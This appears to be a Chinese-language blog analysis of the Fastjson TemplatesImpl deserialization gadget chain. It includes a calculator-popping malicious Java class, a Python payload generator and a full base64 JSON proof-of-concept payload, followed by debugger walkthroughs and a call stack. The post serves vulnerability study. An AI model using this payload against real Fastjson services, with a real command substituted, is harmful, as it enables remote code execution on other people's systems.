Fastjson反序列化漏洞分析--TemplatesImpl利用鏈
前言
前面對 TemplatesImpl 利用鏈進行了漏洞分析,這次接着上次的內容,對 TemplatesImpl 利用鏈進行分析。
TemplatesImpl利用鏈
漏洞原理:Fastjson 通過 bytecodes 字段傳入惡意類,調用 outputProperties 屬性的 getter 方法時,實例化傳入的惡意類,調用其構造方法,造成任意命令執行。
但是由於需要在 parse 反序列化時設置第二個參數 Feature.SupportNonPublicField ,所以利用面很窄,但是這條利用鏈還是值得去學習
項目地址:https://github.com/alibaba/fastjson
漏洞復現
打開 Fastjson 項目,看到 parse 反序列化時設置第二個參數 Feature.SupportNonPublicField
惡意類TEMPOC.java
,調出計算器程序。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class TEMPOC extends AbstractTranslet {
public TEMPOC() throws IOException {
Runtime.getRuntime().exec("open -a Calculator");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
TEMPOC t = new TEMPOC();
}
}
將其編譯成.class文件,通過如下方式進行base64加密以及生成payload。
import base64
fin = open(r"TEMPOC.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print poc
POC
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
執行后,調出計算器:
漏洞分析
據上面的分析,_bytecode
為惡意類TEMPOC.java
編譯成.class
文件后,通過 base64 編碼得到的值。事先我們知道 TemplatesImpl 類實例化對象是通過調用newTransFormer()
方法,所以想要進行實例化,就必須觸發newTransFormer()
這個方法。
跟進 TemplatesImpl,可以看到在getOutPropereties()
中會調用newTransFormer()
這個方法
為了更好理解,我們直接來看看下面幾個類:
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserilizer:smartMatch:761
com.alibaba.fastjson.parser.deserializer.FieldDeserilizer:setValue:126
com.alibaba.fastjson.parser.deserializer.FieldDeserilizer:setValue:80
com.alibaba.fastjson.serializer.ObjectArrayCode:deserialze:136
首先是com.alibaba.fastjson.parser.deserializer.FieldDeserilizer:setValue:80
可以我們看到name=getOutPropereties
,正是對應上面的getOutPropereties
方法
在 com.alibaba.fastjson.parser.deserializer.FieldDeserilizer:setValue:126 加斷點進行調試
發現field.set(object,value)
向 TemplatesImpl 里放入 _bytecode
字段,繼續調試
第二次放入_name
字段,繼續
第三次放入_tfactory
字段
繼續調試,發現最后直接調用了計算器,表明已經成功反序列化,實際上此時放入的是getOutPropereties
,成功觸發newTransFormer()
方法
再來看看 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserilizer:smartMatch:761
這里是去除_
操作,即可以將_outputPropereties
變為outputPropereties
,之后變成一個method
,被我們 invoke
com.alibaba.fastjson.serializer.ObjectArrayCode:deserialze:136
加斷點進行調試,進入到 com.alibaba.fastjson.parser.deserializer.JSONScanner:111
這里對_bytecode
做了 base64 的解碼,所以這就是為什么要對惡意類二進制內容進行 base64 編碼
最后給出整個調用棧:
<init>:13, TEMPOC
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:7, Unser